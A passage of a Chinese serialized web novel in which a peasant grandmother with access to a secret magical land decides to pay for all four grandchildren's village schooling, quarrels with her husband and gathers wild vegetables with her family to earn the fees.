听万春兰答应了,掌柜一喜,但是数铜钱的时候又感觉到肉痛了,感觉自己竟然花一百文买了个袋子,属实有点冲动了。
万春兰接过一串铜钱,看着塑料袋十分不舍的样子,仿佛有些后悔,嘴里还嘟囔:“要不是先前话已出口,我真舍不得卖......”
她这样,掌柜反而舒心多了,笑模样的看着万春兰,叫她慢走。
揣着一串铜钱,领着小禾离开粮铺,万春兰舒心了不少。
没想到来一趟镇上还有意外收获。
“阿奶,那个袋子卖亏了吧。”
听到小禾这么说,万春兰眉心一挑,低头问小孙女:“你怎么说卖亏了?”
“那个袋子很好啊,掌柜一开始出十文,看您不卖,一百文他肯这么痛快买,定是觉得占了便宜。”
小禾才四岁呢!能懂这么多!
万春兰惊喜的看着小孙女:“这些道理谁教你的啊?”
“石头哥哥说的,他在镇上的先生这读书,先生教他欲擒故纵,他回来告诉我们,我就知道了。”
哎哟,还知道典故了!
“阿奶再教你个道理,叫贪多嚼不烂,这个袋子,本来就是咱们意外得的,要是卖的太贵了,反倒容易惹人眼红,招来祸事。”
“我懂了阿奶!这叫适可而止!跟你说的意思一样!”
万春兰瞪大眼,嘶!她这小孙女!是真机灵啊!
看着聪明的小孙女,万春兰突然萌生了一个想法。
“小禾,你想不想学算筹?”
17. 第 17 章
万春兰正愁算账算不明白呢。
她这岁数想去学,人家账房招学徒也不会要啊。家里大事小事一箩筐,神仙地那边也得顾着,根本抽不出身。
不如让小孙女去学,既能帮自己算账,孩子也算有了傍身的手艺,往后嫁了人,掌家理账也容易些。
“学算筹干什么呀?”小禾天真的问。
“那用处可大了,你学会了,能帮阿奶、你爹你娘算账,往后咱家买东西不怕被人坑,卖东西也知道该收多少钱。等你长大了,要是嫁个有能耐的当上老板娘,自己就能管家里的账,连账房先生都不用请喽!”
万春兰这一通话听的刘小禾眼睛发亮,拍着小手直跳:“我要学!阿奶,我要学算筹!”
“好!阿奶送你去学。”
见孙女这么高兴,万春兰也笑开了,背起她往家走,心里却认真盘算起来。
按照朝廷的兴令,每个村要设立村学,教习村民们学习一些简单的算数,米面肉菜、姓名等一些常见识字和基础常识。
朝廷的这个策略是为了方便稳定地方管理,以防人人都是个睁眼瞎,不会写自己的名字,出门买米买菜找不到地方,算账认秤都不会,被人蒙骗,不懂一些基础常识徒增麻烦。
设立村学给百姓扫盲后就会减少很多不必要的事端。
但官府提倡兴学,却并无必须入学的法令,实际上乡下村子里会去上学的还是很少数,因为上学不是免费的,要给先生交束脩,不仅如此逢年过节也还要给先生送礼表示尊敬。
一般农户送不送孩子上学,全看家境。宽裕些的、有心气的,咬咬牙也就送了。要是饭都吃不饱,哪还有心思读书?真想学本事,不如送去当学徒,省了钱还能谋条活路。
万春兰自己就没上过村学,认字算数全靠平日瞧、跟人问,再加几十年生活里一点点摸出来的。
如今想让小禾学算筹,她年纪太小,当学徒没人收,那就只能送去村学那里学。
那就是送去读书了。
读书二字,意味就不一样了。
万春兰刚才答应得爽快,这会儿细想,才觉得难办。
有了孙子后,她不是没动过让孙辈读书的念头。
只是前几年孩子都还小,尿都憋不住的年纪,送去也是给先生添乱。
如今家里四个孩子:老大家的大宝八岁,二宝六岁;老二家的福哥六岁,小禾才四岁。
要是送小禾去,老大家就不能落下。因为不管从哪方面讲,都是应该先送更大的男娃去读书。
可小禾是女娃,若只送一个,老二家定是想让福哥去。
要是四个都送......她就是地主婆也供不起啊!
万春兰背着小禾,脚步越走越沉,越想越觉得这事办冒失了。
她暗地里轻拍了下自己的嘴:都活了大半辈子了,做事还这么毛毛躁躁,啥都还没想好就脑子一热张口答应这答应那的。
现在知道难办了!可话都已经说出口了……
要不......神仙地那边......能不能学?
万春兰看了看周围,背着小孙女下了路边到田埂坐下,“咱们歇会儿啊。”“嗯!”放下小孙女的时候,她一手抱着小禾,悄悄把手放在心口位置。
水波纹微动又平复。
不行。
带不了别人进去。
万春兰心里说不上是失望,还是隐有预感。
她垂下眼叹了口气,神情都有些落寞。
休息了一会儿,万春兰背着小禾去双井村。
石磨村周边最大的村子是双井村,村学就设在那里。
虽说规定是每村设立,但一般只有是那种人口多,宗祖富的村族才会一村单设,多数情况下普通村落都是数村合设一个村学,毕竟读书人相对还是很稀少的。
万春兰背着刘小禾走了半个多时辰,来到了双井村。
村学设在村子东头的一座旧祠堂里,祠堂经过修缮,门口挂着一块木匾,上面写着“双井村学”四个大字。字迹工整,虽然有些褪色,但仍能看出写字人的功底。
祠堂院子里传来朗朗读书声,是孩子们在念《千字文》:“天地玄黄,宇宙洪荒......”
万春兰和刘小禾站在祠堂外,到了学堂,二人都不由庄重了起来,万春兰整理了一下自己的衣裳,又帮小禾理了理头发和衣摆,这才牵着孙女的手走过去,站在门外张望。
院子里有十来个孩子,坐在朴素的木凳上,面前是同样朴素的桌子。讲台上站着一位老先生,年约五旬,穿着洗得发白的青色长衫,头发花白,面容清癯,手中拿着一卷书,正领着孩子们诵读。
这就是村学的林先生了。
听说他曾经中过秀才,后来屡试不第,家境又一般,就在家乡开了这个村学,既教书育人,也赚些束脩养家糊口。
林先生看见门口有人,便让孩子们自己读着,自己缓步走了过来。
万春兰看着眼前的老先生,心里涌起一股敬畏。她活到这岁数,见到读书人,还是不由自主地感到尊敬,她躬身行了个礼:“先生您好。”
林先生倒是很和气,微微点头:“这位婶子,有什么事吗?”
“我想问下,村学这束脩,是怎么个收法?”万春兰有些紧张,说话都不太利索了。
林先生捋了捋胡子:“一年,一贯钱,若用米抵,按市价折算也行。”
一贯钱!万春兰心里咯噔一下。虽然早有心理准备,但亲耳听到还是让她心头一沉。
一贯钱就是一千文,家里一年到头省吃俭用,除去开销,能攒下两三贯钱就不错了。一个孩子一年一贯钱的束脩,咬咬牙也能送两个,送四个是怎么也送不起的。
万春兰脸上不由垮了下来。
林先生看到这样,并没有过多表示,只是微微叹了口气。他在这里教书也许多年了,见过太多这样的家长,想要让孩子读书,又交不起束脩。而他也需要生计,束脩若是收得太低,自己都难以糊口,就是想发善心,也心有余而力不足。
他注意到万春兰领着的是个小丫头,看起来不过四五岁的样子,扎着两个小揪揪,眼睛大大的,正好奇地打量着他。
送丫头来上村学的,可是凤毛麟角。大多数人家,就算有余钱,也是先紧着男孩子。
万春兰犹豫了一下,还是开口:“先生,我这孙女很聪明,我...我想让她学算筹,您这里有没有单开课,只学这一样的啊?束脩能不能少些?”
林先生摇摇头,娓娓道来:“正所谓学之道,在明明德,在亲民,在止于至善。学字,学德,学做人,都是相通的。只学算筹而不识字,终究是皮毛。况且我这里学生本就不多,单开一课,实在难以安排。”
万春兰没太听懂那些文绉绉的话,但大意思是不行的。她失望一叹。
刘小禾一直在旁边听着阿奶和这位老爷爷的对话,她虽然小,但能感觉到阿奶的为
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难和失望。
她拽了拽万春兰的手指,懂事地说:“阿奶,我们回去吧。石头哥哥教过我算数,我跟他学就行。”
林先生看着刘小禾,这丫头说话条理清晰,眼神清明,不像一般农家孩子那般怯懦。他心中一动,问道:“小姑娘,你多大了?”
小禾看了看这位老爷爷,回答:“四岁半了。”
“可会数数?”
“会,我能数到一百。”小禾挺起小胸脯,有些自豪。
林先生来了兴趣:“那我问你,你若有三文钱,买个包子要两文,该找回你几文?”
小禾立刻伸出小手指:“一文。”
“若有五个梨,分给两个哥哥,每人能分几个?”
这个问题难了些,小禾想了一会儿:“每人两个,还多一个。”
林先生眼中闪过一丝赞许,又问:“若你阿奶给你七颗糖,你吃了两颗,还剩几颗?”
“五颗。”
“这五颗糖,你要分给哥哥、姐姐、弟弟、妹妹和你自己,每人能分几颗?”
小禾低下头掰着手指头数:“哥哥、姐姐、弟弟、妹妹、我......五个人,五颗糖.....”随即答道:“每人一颗,刚好!”
林先生抚须微笑,转头对万春兰道:“你家这个孩子确实比较一般孩子来的灵秀。我问的这几个问题,有些七八岁的孩子都答不上来。”
万春兰听了,又惊又喜:“先生,您是说我家小禾聪明?”
林先生直言不讳:“嗯,是块读书的料子。虽然是个女娃,若好好栽培,将来会有出息。”
他沉吟片刻,又道:“你要是送她来上学,我可每日单独抽一个时辰教她算筹,不另收束脩。不过平日里还是要跟着大家一起学识字、学道理。束脩……若实在困难,可分两次交,年中、年末各半。”
万春兰听着惊喜交加,连连鞠躬:“多谢先生!先生真是大善人!”
林先生摆摆手:“不必多礼。我也是见这孩子聪慧,不忍埋没。你回家考虑考虑,若是决定送她来,下月初一便可来上学。”
“诶诶,好,好,多谢先生,叨扰您了,我回家考虑考虑,那我们就不打扰了。”万春兰牵着刘小禾,又行了个礼。
“慢走。”林先生目送她们离开,才转身回课堂继续教书。
在回去的路上,万春兰心里百般纠结。
她是真想送小孙女去读书,林先生都说小禾聪明,是块读书的料子。而且先生还愿意单独教算筹,束脩还能分两次交,这已经是极大的情面了。
但还是前面那些问题。
送小禾去,老大家怎么办?送福哥去?老二家肯定愿意,但小禾怎么办?她答应过小禾的。都送去?家里哪有那么多钱?
想到最后,万春兰突然把心一横。
她总想着周全,周全,但哪有完全的周全?
事情就是怎么做,都会有人不满意的!
顾了这个就顾不了那个,就算把大人全安抚好了,孩子呢?送了大宝,二宝不会多想吗?
既然怎么选都有人不满——
那就全送!
四个孙子孙女,全都去读书!
不就是一年一贯钱吗,老天爷给了她可以去神仙地这等机缘,一把野菜能换一斤米,一个袋子能卖一百文。
她就不信她一年挣不到四贯钱!
万春兰的眼中燃烧起一团滚烫的火。
赚钱!
18. [锁] 该章节由作者自行锁定
“都出来!到堂屋来,我有事要说!”
万春兰领着刘小禾回到家,把歇晌的家里人都叫了出来。进堂屋时顺手拿下了墙边挂着的镰刀。
“娘,啥事儿这么急?”老大媳妇罗菊香先探进头,大儿子刘劲山跟着身后进来,然后二儿子一家、几个小孙子陆陆续续都进来了堂屋。
“正事儿,都过来。”万春兰把镰刀放到身后,站在堂屋中央,背挺得笔直。
一家子十口人,老的少的,陆陆续续聚到堂屋。刘大江最后一个进来,黑着一张脸,显然是被吵醒的不痛快。
万春兰扫了一圈人。
大儿子刘劲山老实巴交地站在一旁,他媳妇罗菊香站在他旁边,揪着大宝二宝让俩人老实点;
二儿子刘劲水挠着后脑勺,他媳妇马荷花扯着衣角,俩孩子都站在旁边;
四个孙子孙女——八岁的大宝、六岁的二宝、六岁的福哥、还有她刚从镇里带回来的四岁小禾。
还有那个老不死的刘大江,万春兰眼睛扫过去,光扫个影儿心里就一股火气腾腾往上烧,她扭开脸暂时不想看这老不死的。
“我有个事儿要说。”万春兰沉声开口。
全家人看着万春兰,心里好奇,什么事儿?娘这么郑重?
“我打算送咱们家孩子去上村学读书。”
这话像颗石子投进平静的水塘,一下子炸开了。
一家子大人全都站直了!
尤其老大媳妇罗菊香“嚯”地瞪大眼,眼睛里溢出激动:“娘,你说真的?”
要送去读书,那她家的大宝是最大的,她家大宝今年八岁,正是上学的年纪!
老二媳妇马荷花听到婆母打算让家里孩子去读书,也是一激动,一把拉住身边福哥的手:“娘!您、您要送哪个去上学啊?”送娃去上学这等大好事,谁不想落在自己家孩子身上。
“等等!”刘大江一嗓子吼出来,屋子里顿时又静了。他瞪着万春兰,拧着眉毛粗横着一张老脸问:“送孩子上村学?谁的主意?我同意了吗?”
万春兰此时不看刘大江,要不她怕自己下一秒就得跳起来跟他干一架。
她强压下火气,继续说:“我今天去村学问了,一个孩子一年的束脩是一贯钱,用粮可以按市价抵,先生人好,说可以半年一交。这钱,从家里公中出。”
“公中出?!”罗菊香和马荷花几乎同时叫出声,两双眼睛亮得像点了灯。谁不知道公中管钱的是婆婆,她说公中出,那就是真出!
刘大江的脸更黑了:“公中出?公中的钱是你一个人说了算吗?”
万春兰不理他,继续说:
“我打算把四个孩子都送去读一年。”
“四个?!”
“全都送去?!”
“娘!你说真的?!”
“我不同意!!”
刘大江直接炸了,他一巴掌拍在桌上,震得桌上的茶碗叮当响:“万春兰,你疯了吧!四贯钱!那是四贯钱!你当咱家是开钱庄的?”
把重要事说完,万春兰啪一摔东西,终于转过头,看向刘大江的眼里熊熊怒火瞬间燃烧!开干!
“你个老不死不要脸的!我送自家孩子上学是疯了?那有些人把钱往外送,那叫什么?那叫吃里扒外!”
“你放屁!”刘大江猛地站起来,手指着万春兰:“我那是借给老三!人家说了会还!你这把银子往水里扔,连个响儿都听不见!”
“你才是放你娘的臭狗屁!”
“孩子去读书认字,那是长学问!若是哪个聪明有出息的读好了,将来说不定还能考个秀才公,那是可以免税的!”
“就算读不成,以后能认字能算数,就是去镇上当学徒、找差事也比旁人来的容易,读了书,明事理,懂是非,走出去腰杆都直!哪样不比在地里强?你想让孩子们一辈子在地里我可不愿意!”
“让孩子读书,读到了肚子里都是自己的,我万春兰自己的亲孙子亲孙女,我乐意给他们花钱读书!钱花在他们身上,我踏实!总好过有些不要脸的老东西,拿着家里的血汗钱,去填外人的无底洞!专吸家里人身上的血!”
万春兰这话说的刘大江脸上一阵红一阵白,他愤怒的指着万春兰:“反了反了,我看你个老婆子是要反了!”
刘大江恼羞成怒之际,四下张望,抄起旁边的长凳,万春兰反手一把举起身后的镰刀,刘大江直接瞪眼了!
“好啊好啊!为了不让家里孩子去读书要打死我!快让全村人都看看,你刘大江多能耐!”
“爹!爹!快放下。”
“娘!娘!快放下!!”
全家人一边一个,赶紧全都上去拉架。
大儿子在后面死死抱着刘大江,刘大江气得直喘粗气,眼睛瞪得跟铜铃似的:“好!好!你要送他们去读书,我就休了你!”
两个儿媳妇一边一个拽着万春兰的手臂。
“行啊!现在就去!找村长,找里正,把全村老少都叫来评评理!你刘大江因为我要送孙子读书,要休了我!我倒要看看,这话传出去,十里八乡谁不戳你脊梁骨!”
刘大江被噎得说不出话,只能一遍遍吼:“我不同意!我就是不同意!”最后把凳子一摔,夺门而出,木门被摔得震天响。
俩儿子左看右看急得都直挠头,看媳妇都在娘这边守着,于是跟万春兰说:“娘,您快消消气,我们去看看爹,等会儿我们就回来!”说完俩人追出去找刘大江去了。
万春兰喘着粗气白楞眼皮没说话,堂屋里一下子安静下来,两个儿媳妇小心翼翼把万春兰手上的镰刀拿下来,扶着万春兰坐到凳子上。
吵了一大架,万春兰嗓子火辣辣地,但心里憋的怒火也撒出去不少。
“娘,喝点水。”马荷花赶紧端来一碗水。
万春兰接过,一口气喝了半碗,这才慢慢缓下气息。
罗菊香和马荷花对视一眼,小心翼翼地在旁边坐下。四个孩子被刚才的阵仗吓着了,紧紧挨在一起。
今天婆母突然说要送家里孩子去上学,弄得大家措手不及,而且还惹得爹娘大吵一架,但要送孩子上学是好事,而且婆母还说,这钱公中出,不说其他人,两个儿媳妇绝对是站在万春兰这边的。
“娘,您真打算......四个都送去?”过了一会儿,罗菊香小声开口。
马荷花连忙接话:“娘,我和嫂子肯定都是愿意让孩子们读书的,只是......一年四贯钱,咱家真供得起吗?”
罗菊香在一旁连连点头,送孩子去读
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书,她们肯定是乐意的!
万春兰放下碗,擦了擦嘴角。在决定要送四个孩子都去上学后,这个事,她在从双井村回来的路上,已经翻来覆去想了几十遍,想好怎么做了。
“去把劲山劲水找回来,我的话还没说完。”
两个儿媳妇一听,一刻不耽搁转头就出去找自家男人。
过了大约半盏茶的功夫,外面响起脚步声,四个人都回来了。
大儿子刘劲山看见堂屋里的万春兰,开口道:“娘,爹他...”
万春兰直接抬手打断:“别跟我提他。我现在要说送孩子上学的事,都过来坐好。”
罗菊香在背后怼了刘劲山一下,探脸冲万春兰笑:“知道了娘。”
很快,一家人搬来板凳在万春兰周围坐好。
现在没了刘大江在场,万春兰终于能好好说这个事了。
“我是这样想的。”
一家人围拢过来。
“我想送孩子上学,不光是为了孩子好,”万春兰目光从几个儿子儿媳妇脸上挨个看过去:“也是为了咱们这个家好。”
四个人一齐点点头,全都认真听着。
“按常理,咱这样的人家,确实供不起四个孩子读书。”万春兰实话实说:“咱家有多少家底,我心里清楚。”
儿子儿媳妇们又点了点头。是啊,村里能供一个孩子读书的,那都是殷实人家了。他们家虽然不是最穷的那一拨,但也算不上富贵,送一个两个能勉强,送四个是真的想都不敢想。
别说他们家,换成谁家都供不起啊。
“因为这几年,孩子们都大了,我一直想着送哪个去读书的事。”
万春兰接着说:“最早我想,咬咬牙,一家送一个。可大宝二宝是亲兄弟,送一个不送另一个,剩下的那个孩子心里会怎么想?他会想,是不是我不够乖?是不是我比哥哥笨?我不想让咱家的孩子有这种念头。”
她看了看在爹娘旁边的大宝和二宝。两个孩子听懂了奶奶的话,眼睛亮亮地看着她。
“我今天去村学问,人家先生跟我说,读书不光是认字算数,更是学道理、学做人。就算将来考不上功名,但明白了是非善恶,懂得了为人处世的道理,那是一辈子受用的。这时我就想原来读书不光是去学认字读书的,更重要的是学做人。”
“我当时领着小禾去的。”万春兰看向一直安静坐在一旁的小禾:“先生考了她几个问题,小禾全答上来了,先生说咱家这孩子聪明,要是读书,说不定能有出息。我这心啊一下子就乱了。”
刘劲水和马荷花听到眼睛顿时亮起来,马荷花惊喜道:“娘,先生说我家小禾聪明?将来能有出息?”
万春兰不禁微笑:“先生说小禾这孩子比一般同龄的小孩儿机灵,有没有出息也得看她能不能学好。我先继续说。”
刘劲水轻拍了下媳妇小声说:“别打岔让娘说。”
马荷花笑得不见眼连忙拍拍嘴巴,“我不打岔,娘您继续说。”
万春兰点点头。
“我左想右想,四个孩子,哪个我都不忍心落下。都是我的亲孙子亲孙女,少了哪一个,我心里都跟针扎似的。”
“所以我想了个法子。”她坐直身子,“四个都送去,读一年。”
19. 第 19 章
“一年?”家里人小声问。
“对。都去学一年。”万春兰点点头。
“这一年,让孩子们都去学堂,看看读书是怎么回事,跟先生学学道理,学学做人。一年下来,普通的识字算术也能学个七七八八了。一年后,选个读的最好的继续供读,然后每天下学回来,教剩下三个。毕竟都读过一年书了,教起来也容易。”
“这样,熬过这一年之后,咱们只出一个孩子的束脩,但四个孩子都能继续学。”万春兰说完,看着大家,“你们觉得呢?”
四个人看着万春兰,一副原来还能这样的表情,四双眼睛亮得惊人:“娘!您这主意太好了!”
“哎呀娘!我这脑子怎么就没想到,娘想得周到,这样好,这样好!”
万春兰不禁笑起来。
“一年后,继续读书的那个孩子,束脩还是公中出,但你们要是哪个心气儿高,想让另外的孩子继续上学去跟先生学,那这钱就得你们自己出了。”
万春兰看着儿子儿媳妇们说:“只这一年,男孩女孩,都一样去。是咱家的孩子,就不分这个。”
“当然了,要是读了一年,咱家孩子全不是读书那块料,那咱们大人也不用费心思了。往后是想老实种地,还是想干点别的营生,再另做打算。毕竟读过一年书,怎么着也比那些没读过的强。会认字会算数,以后不管是去镇上找个学徒的活儿,还是自己支个摊子记记账,都比旁人容易些。就是老实种地,一年到头来也能自己算明白一年的收成。读过书怎么说都是好事情。”
这也是万春兰在路上想通后,最终决定把四个孩子全都送去的原因。
“是、是!”刘劲山连连点头,这个平日里最稳重的儿子此刻也激动得满脸放光:“娘说得对!读过书就是不一样,就像村东头张木匠家的老二,不就因为读过两年书识得认字算数,被县城的杂货铺招去当伙计了么?一个月能拿三百文呢!”
罗菊香在丈夫旁边跟着点头,激动的眼睛里都有点泛泪花,她看着身边的大宝二宝,满心满眼都是高兴。
刘劲水和马荷花也是,老二媳妇马荷花还红了眼眶低下头去抹,她是真没想到,婆婆竟然舍得出钱让女儿小禾也去读书。试问哪家有儿有孙的,舍得花那么多钱送女孩儿也去上学?就这一份儿恩情,往后婆婆在家,婆婆说什么、干什么,她马荷花马首是瞻!
“娘,这法子好!我们都听您的!”
“听娘的!”
一时间,堂屋里四个大人,个个眼睛发亮,脸上是藏不住的欢喜和希冀。
四个小孩子在边上也听懂了,知道自己要去上学了,四张小脸上也全是兴奋和好奇。
“爹,娘,阿奶是要送我们去上学了吗?”
“对!你们阿奶说了,要送你们几个去村学读书!”
“你们阿奶舍得血本栽培你们,以后要是哪个敢不孝顺你阿奶,老子第一个饶不了!”
“大宝孝顺阿奶!”
“二宝也孝顺阿奶!”
“小禾和福哥也孝顺阿奶!”
“我们都孝顺阿奶!”
“哦!上学咯!”
万春兰被几个孩子围着,笑得眼睛弯成了月牙。今天她为这事儿左思右想,如今看到这样,这事儿是办对了。
看他们都高兴,万春兰心里也跟着涌起一股暖洋洋的冲劲儿,她扬了扬嘴角,随即话锋一转:“行了,你们也别光顾着高兴,我就出这一年的钱,今后怎么样,可得你们自己罩着了。”
她挨个扫了一圈:“都别闲着,赶紧给我想办法赚钱!四个孩子读书,算数写字不要钱?一年后供的那个,束脩虽然公中出,可平时的开销呢?你们当爹娘的不使上劲儿,难道还指着我这把老骨头?”
四个大人被说得心头火热,齐齐应道:“诶!我们想法子!”
声音响亮,把屋顶的灰尘都震得簌簌往下落。
万春兰这才点点头,站起身:“那这事儿就这么定了。现在都收拾收拾,拿上工具麻袋,都跟我上山去!”
“上山?”刘劲山一愣:“娘,这会儿上山干啥啊?”
四个大人脸上的笑还没消下去,看着万春兰疑问。
“上山干啥啊娘?”
万春兰看着众人一眼,勾起嘴角来一笑。
“我昨天去镇子卖野菜,碰上一个来乡下收菜的菜贩。那掌柜的跟我说,若是我有菜,收拾好了送到县城去,他按一斤一文钱收。”
“一斤一文?!”罗菊香吸气。
“县城收菜的活儿计?”马荷花眼睛瞪大了。
刘劲水和刘劲山两兄弟吃惊的长大嘴巴,四个大人彼此对视一眼又齐齐看向万春兰,脸上又是惊又是喜。
娘竟然找了一个县城收菜的活儿计!
“娘!还得是你啊娘!!”
全家人这下彻底沸腾了。大人们一听有人收野菜,那还说啥了,撸起袖子就收拾东西。
罗菊香转身就往柴房跑,去拿麻袋绳索;马荷花小跑着去杂物间找背篓;刘劲山刘劲水兄弟俩则抄起砍刀和扁担来。撸起袖子就收拾东西跟万春兰上山找香椿去!
万春兰看着他们忙活,两边嘴角向上,这才是真的笑开了。
收菜的菜贩自然是编的。但可不是瞎编,她有打算。
论赚钱,神仙地那边是大头儿。昨天香椿卖得那么好,万春兰恨不得有它个几百斤!可她一个人累死累活能摘多少?发动全家一起去找,那就不一样了。
今天去粮铺发现粮食涨价,粮铺掌柜的说县城里更贵,当时她就有让俩儿子跑一趟县城打探打探消息的想法。
紧接着塑料袋卖了一百文,然后又萌生了送小禾去上学的念头。
回来路上,这所有事儿加在一起,万春兰脑子里就冒出个想法。
干脆她亲自跑一趟县城。
一是去打探消息,自己亲耳听到亲眼见到更切实。
二是去县城的粮铺兑换剩下的白米,粮铺掌柜说县城的价更高,那她多跑几步去县城换更多的不是更好?
顺势菜贩收菜这个借口就冒出来了,去县城后她随便找个借口支开俩儿子,然后把菜往白屋子里一放,然后说是让菜贩拉走了,完活儿。
为了赚钱,万春兰也是绞尽脑汁了。
一家人拿上绳索麻袋、背篓砍刀,风风火火直奔村里后山。出门时,正好碰见隔壁王婶子在院子里喂鸡,看见这一大家子扛着家伙什往外走,好奇地问:“万嫂子,这是干啥去啊?”
“进山摘点野菜!”万春兰笑呵呵地回了一句,脚下不停。
如今万春兰在儿子儿媳妇这里,说什么是什么,婆母肯掏钱让家里孩子上学,还找了个县城收菜的进项,必须干!猛猛干!
进了山里全家人就开始漫山遍野找香椿树。
“分开找。”万春兰发话,“香椿树叶子是红的,嫩芽紫红色,有股特别的香味儿。看见了就喊一声!”
“知道了娘!”
四个人应声散开,像撒进山林的珠子。
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万春兰自己也挎着菜篮,她一边走,一边仔细辨认着路边的树木。榆树、槐树、杨树......
“这儿有!”不远处大儿子刘劲山高声喊道。
果然发动了全家一起找就是不一样,这么快就有人找到了!
万春兰一喜,循着声音跑去。
很快,脚步声从四面八方传来。万春兰抬头看见那几棵香椿树,眼睛一亮:“嚯!真不少!”
刘劲山挽起袖子,灵活地爬上树,小心地采摘着嫩芽。罗菊香在树下接着。
万春兰:“都仔细点,别掐坏了,人家要品相好的,弄烂了的人家不要!”
“知道了娘!”
罗菊香把摘下来的香椿小心地放进背篓里,生怕碰坏了。
另一边,马荷花也发现了一片:“这边也有!劲水快来!”
刘劲水应声过去,夫妻俩也配合起来,一个上树摘,一个在下面收拾。
阳光透过树叶的缝隙洒下来,在林地上投下斑驳的光影。一家人忙得热火朝天。
俩儿媳妇更是猛猛发力。罗菊香平时就是个能干的,这会儿手脚麻利,不多会儿就装了半背篓;马荷花也不甘示弱,她身子轻巧,甚至也爬上了一棵矮些的树,亲自采摘,摘完后,就下来一起收拾,根本没人喊累。
“娘!”马荷花在不远处喊道,“您来看这是什么?”
万春兰走过去,只见马荷花指着地上的一片植物。那些植物刚冒出卷曲的嫩芽,像一个个紧握的小拳头,浅绿色,毛茸茸的。
“蕨菜。”万春兰眼睛一亮,她蹲下身扒拉这些毛绒绒的菜茎,这蕨菜长的也不错啊。
“娘,这蕨菜菜贩收不收啊?”马荷花在一旁问万春兰。
万春兰仔细看了看:“先挖点,明天劲山劲水跟我去县城送菜,一并问问。”
她还没在神仙地卖过蕨菜,不过她想,香椿能卖出去,蕨菜应该也可以的吧。先挖点,她去神仙地看看。
“好嘞!”马荷花应道,手脚麻利地仔细把蕨菜从根部掐断,放进另一个背篓里。
于是,一家人不光摘香椿,俩儿媳妇蹲在地上,小心地挖着蕨菜,生怕伤到根影响来年生长。
刘劲山刘劲水兄弟则专攻高处的香椿嫩芽,够不着的就用绑了钩子的竹竿往下勾。
时间在忙碌中过得飞快。太阳渐渐西斜,林中的光线暗了下来,鸟儿的鸣叫声也稀疏了。
“差不多了。”万春兰看看天色,又看看已经装满的几个背篓和麻袋,扬声喊道,“收拾收拾,准备回了!”
几个人这才停下手里的活儿,聚拢到一起。一清点,好家伙,香椿装了满满两大麻袋,蕨菜也有一背篓多。
“这得有小一百斤吧?”刘劲水掂量了一下麻袋,惊喜地说。
万春兰心里估算着,就算八十斤,一斤二十,也有一...一千多!神仙地那边的称数还轻呢。
她脸上露出笑容:“走,回家!”
刘劲山刘劲水一人肩上扛起一袋香椿,俩儿媳妇在后边扶着,万春兰手上拿着绳索工具那些轻便物什,一行人出山往家走。
山路不好走,尤其是扛着重物,刘劲山走在最前面,脚下踩到一块松动的石头,一个趔趄,罗菊香赶紧上前扶住:“当心!”
“没事没事。”刘劲山稳住身形,喘了口气,回头对万春兰说:“娘,明天去我借村长家的大轮板车去,推着车省力些。”
“嗯。”万春兰点头,心里开始盘算明天去县城的安排。
20. 第 20 章
一行人扛着野菜高高兴兴回到家。
到了家,发现家里有不少人正在等他们。
“大伯二伯四叔大姑?你们怎么来了?”先进门的刘劲山看见院儿里一愣。
院子里的石磨旁,坐着刘大江的三个兄弟和大姐——老大刘大海、老二刘大河、老四刘大湖、大姐刘春桃。
五个人围坐成一圈,中间摆着个茶壶,看样子已经等了有一会儿了。而刘大江就坐在当间儿,看见他们回来,脸黑得跟锅底似的。
早先万春兰领着全家人在山上猛猛摘香椿的时候,刘大江攒了一肚子怒气从张老三家回来,结果一回到家,发现家里一个人影都没有。
隔壁王婶子在院子里编竹筐,他过去问,王婶子告诉他说:“哦,你家的人都跟着万嫂子上山挖野菜去了。”
刘大江一听,肺都要气炸了。好啊,全家人把他晾在一边,全跟死老婆子一起出去了!这真是彻底不把他这个当家的放在眼里了!
他一跺脚,转身就走!先是去了大哥刘大海家,又去隔壁村儿找上大姐刘春桃,最后路过地里,把二哥刘大河和老四刘大湖也一并叫上了。
兄弟姊妹几个被他一路拉回家,路上一顿添油加醋,说万春兰要疯!送四个孩子去上学,要把这个家折腾散!
势必要他们老刘家的人好好说道说道这个“无法无天”的弟媳妇/三嫂子,叫她万春兰好知道,到底谁才是这个家的一家之主!
“怎么了?”万春兰从后面进来,看见院子里坐成三堂会审模样的老刘家人,眼睛看向刘大江,眼睛里唰地蹿起怒火,心里头咬牙切齿,重重冷哼了一声。
当年万春兰的公公,刘家老爷子刘根旺,当年说是请算命先生算过,说是命里缺水,所以给儿子们起名全都沾了水字——海、河、江、湖。这会儿“水”字辈的老兄弟几个,除了两个嫁的比较远的小姑,算是凑齐了。
大伯刘大海看见他们背上扛的、手里提的,不禁满脸惊讶:“嚯,怎么弄了这么多野菜回来?”
刘劲山、刘劲水和两个儿媳妇站在门口,你看看我,我看看你,心里都有些打鼓。长辈们突然全来了,准没好事。俩孩子跟在大人身后,探着小脑袋往里瞧,看见这阵仗,也都缩了回去。
万春兰把手里的背篓往地上一放,拍拍身上的土,走到前头。
儿子儿媳妇们都看向她,她没接刘大海的话茬,笑着问:“大哥、二哥、大姑姐、四弟,今儿什么风,把你们一股脑全吹来了?”
大姑姐刘春桃看着万春兰这个弟妹,放下手里的茶碗,清了清嗓子,皱起眉问:
“听大江说,你打算把家里四个娃都送去读书?”
万春兰面不改色的点点头,大方承认:“嗯,是的。”
大伯刘大海一听这话,眉头皱成了疙瘩:“简直是胡闹!”
他是刘家老大,说话最有分量。这些年刘家虽然分了家,但逢年过节、大事小情,几个兄弟还是会找他拿主意。此刻他板着脸,声音沉沉的:“三弟妹,送孩子读书是好事,可咱们庄稼户,哪有一口气送四个的道理?你知道一个孩子一年束脩要多少吗?笔墨纸砚又要多少?这可不是过家家!”
二伯刘大河性子软和一些,在旁边打圆场:“三弟妹啊,送娃娃去上学是好事,我们都晓得。但你想想,一口气送四个,就是地主家也供不起啊。咱们庄稼人,能供出一个读书人,那就是祖坟冒青烟了。”
四叔刘大湖年纪最轻,平时话不多,此刻也跟着点了点头,表示对万春兰的做法不赞同。
万春兰看了刘大江一眼,心里冷笑,好啊,这是把一家子都搬来压她呢。
她正要开口,大儿子刘劲山先站了出来。
“大伯、二伯、大姑、四叔,”刘劲山往前一步,挡在万春兰身前:“我娘不是那个意思。她是这么打算的......”
万春兰看见走出来挡在她前面替她说话的大儿子,心里一股暖流走遍全身,她往后收了脚,脸上扬起笑,站在大儿子身后听他说。
刘劲山把万春兰那个“读一年”的法子原原本本说了一遍,说到一年后只出一年的钱,四个孩子都能继续学时,几个长辈脸上的表情都变得十分精彩。不由得看向刘大江,这跟你跟我们说的不一样啊?
